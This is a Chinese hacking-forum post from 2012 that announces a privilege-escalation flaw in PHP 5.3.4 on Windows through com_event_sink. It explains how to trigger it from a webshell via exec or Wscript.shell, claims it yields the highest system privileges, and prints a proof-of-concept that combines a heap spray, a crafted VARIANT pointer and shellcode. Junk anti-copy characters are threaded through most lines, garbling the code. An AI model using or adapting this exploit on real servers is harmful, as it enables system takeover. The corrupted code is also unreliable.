找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2389|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中1 q) `, W8 N3 \! y4 O: J
" C* V9 m* ~: ^& B
测试方法如下:cmd /c x:\php\php.exe x:\test.php
/ F. g  J( Z4 v- ?  w: q1 @, Y
, S. }8 U5 o1 c- n" q6 J下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php; D( H$ O8 q5 {! d
这里是两个测试的截图:
6 H; D1 l/ N5 e5 ?" j" u4 w# N, ~( Y% ^9 ?3 a

8 B" s# }' m- O' W2 A/ o6 w( A. a& \
- d3 f- J4 M; P, d
1 m; [0 G+ H6 m! U: h
成功利用此漏洞的攻击者将获得系统的最高权限
+ F  Y5 u1 k- i7 s5 w
8 I; I3 w% o, f0 o1 p; w) @' c! w/ X+ ^4 z+ P. X

7 O! Y- u; X9 m# f5 \% g$ p2 R" i" Q6 ~" n9 \+ ~
- ^7 G/ n. @. d7 s
关于漏洞分析稍后附上。一下是PoC代码:9 c! I" w0 M: r/ K
/ F; L& B, G" X, A$ \. b# ]7 V* L
<?php2 M* S- u0 D. }# [; V- w! `
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞! j2 D& u/ J4 w
//$eip ="\x44\x43\x42\x41";
: l. s8 |7 d+ j( ~9 k$ Y& S4 a$eip= "\x4b\xe8\x57\x78";
3 E! R( G' o, ~$eax ="\x80\x01\x8d\x04";3 r+ \5 e/ _4 U0 Z* H7 ~
$deodrant="";
% D3 n4 M5 ~/ [( N: x, W$axespray = str_repeat($eip.$eax,0x80);# W- s; b8 S; `/ o, O
//048d0190
7 K7 }) q  I; Gecho strlen($axespray);1 o" e: Y8 f+ j$ \$ g
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";. b4 q. p* d& j0 Z  I% k
echo "Silic Group Hacker Army - BlackBap.Org";. ]( Z2 Z4 e- m1 m1 H  C5 Q3 U
//19200 ==4B32 4b00
8 }  B* q7 U- |$ {for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}3 _3 Y, u/ I# a9 h+ `; }- \: ?
$terminate = "T";$ d: S! \' x- W  k
$u[] =$deodrant;
% m( v1 ~- x0 a. i/ u$r[] =$deodrant.$terminate;
9 R4 Y4 D# U5 G$a[] =$deodrant.$terminate;' i) F; `3 v' T: V! R) o
$s[] =$deodrant.$terminate;3 X- f: Q/ V' @. t  q  p
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的. `' a+ D2 ?0 P% k
$vVar = new VARIANT(0x048d0000+180);
1 N. \, a6 m( Y, W0 y//弹窗代码(Shellcode). f2 t0 ^3 a6 t# k: L
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
# A5 A/ o. p) G3 {2 @$var2 = new VARIANT(0x41414242);
, b/ W# y  T; i$ ~com_event_sink($vVar,$var2,$buffer);4 `5 C. T$ ^9 R# n
?>
3 h8 Z3 }! @0 B$ C/ `

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表